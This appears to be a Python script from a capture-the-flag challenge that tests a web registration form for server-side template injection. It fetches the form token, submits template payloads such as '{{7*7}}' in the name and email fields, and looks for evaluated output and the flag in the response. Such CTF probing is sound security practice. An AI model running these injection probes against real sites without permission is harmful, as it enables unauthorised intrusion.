#!/usr/bin/env python3
"""
Test SSTI in user registration
"""

import requests
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

print("[*] Accessing registration page...")

# Get registration page to extract form token
r1 = requests.get(
    BASE_URL + "/welcome/default/user/register",
    verify=False
)

print(f"Register page status: {r1.status_code}")

# Extract form key
import re
formkey_match = re.search(r'name="_formkey"[^>]*value="([^"]+)"', r1.text)
formname_match = re.search(r'name="_formname"[^>]*value="([^"]+)"', r1.text)

if formkey_match:
    formkey = formkey_match.group(1)
    formname = formname_match.group(1) if formname_match else "register"
    
    print(f"[+] Got form key: {formkey[:20]}...")
    
    # Register with SSTI payload in fields
    print("\n[*] Registering user with SSTI payload...")
    
    registration_data = {
        "first_name": "{{='SSTI_FIRSTNAME'}}",
        "last_name": "{{='SSTI_LASTNAME'}}",
        "email": "test{{7*7}}@test.com",
        "password": "password123",
        "password_two": "password123",
        "_formkey": formkey,
        "_formname": formname,
    }
    
    r2 = requests.post(
        BASE_URL + "/welcome/default/user/register",
        data=registration_data,
        verify=False,
        allow_redirects=True
    )
    
    print(f"Registration response status: {r2.status_code}")
    print(f"Response length: {len(r2.text)}")
    
    # Check if SSTI markers appear
    if "SSTI_FIRSTNAME" in r2.text or "SSTI_LASTNAME" in r2.text:
        print("\n[+] SSTI markers found in response!")
        
        for marker in ["SSTI_FIRSTNAME", "SSTI_LASTNAME", "49"]:
            if marker in r2.text:
                idx = r2.text.find(marker)
                print(f"\n[+] Found '{marker}' at position {idx}")
                print(f"Context: {r2.text[max(0,idx-100):idx+150]}")
    
    # Save response
    with open("register_response.html", "w", encoding="utf-8") as f:
        f.write(r2.text)
    
    # Now try to access profile page
    print("\n[*] Accessing profile page...")
    
    session_cookie = dict(r2.cookies)
    r3 = requests.get(
        BASE_URL + "/welcome/default/user/profile",
        cookies=session_cookie,
        verify=False
    )
    
    print(f"Profile page status: {r3.status_code}")
    
    if "SSTI_FIRSTNAME" in r3.text or "SSTI_LASTNAME" in r3.text:
        print("[!!!] SSTI markers in profile page - checking for evaluation...")
        
    if "uoftctf" in r3.text.lower():
        print("\n[!!!] FLAG FOUND in profile page!")
        idx = r3.text.lower().find("uoftctf")
        print(r3.text[idx:idx+100])
    
    with open("profile_response.html", "w", encoding="utf-8") as f:
        f.write(r3.text)

else:
    print("[-] Could not extract form key from registration page")
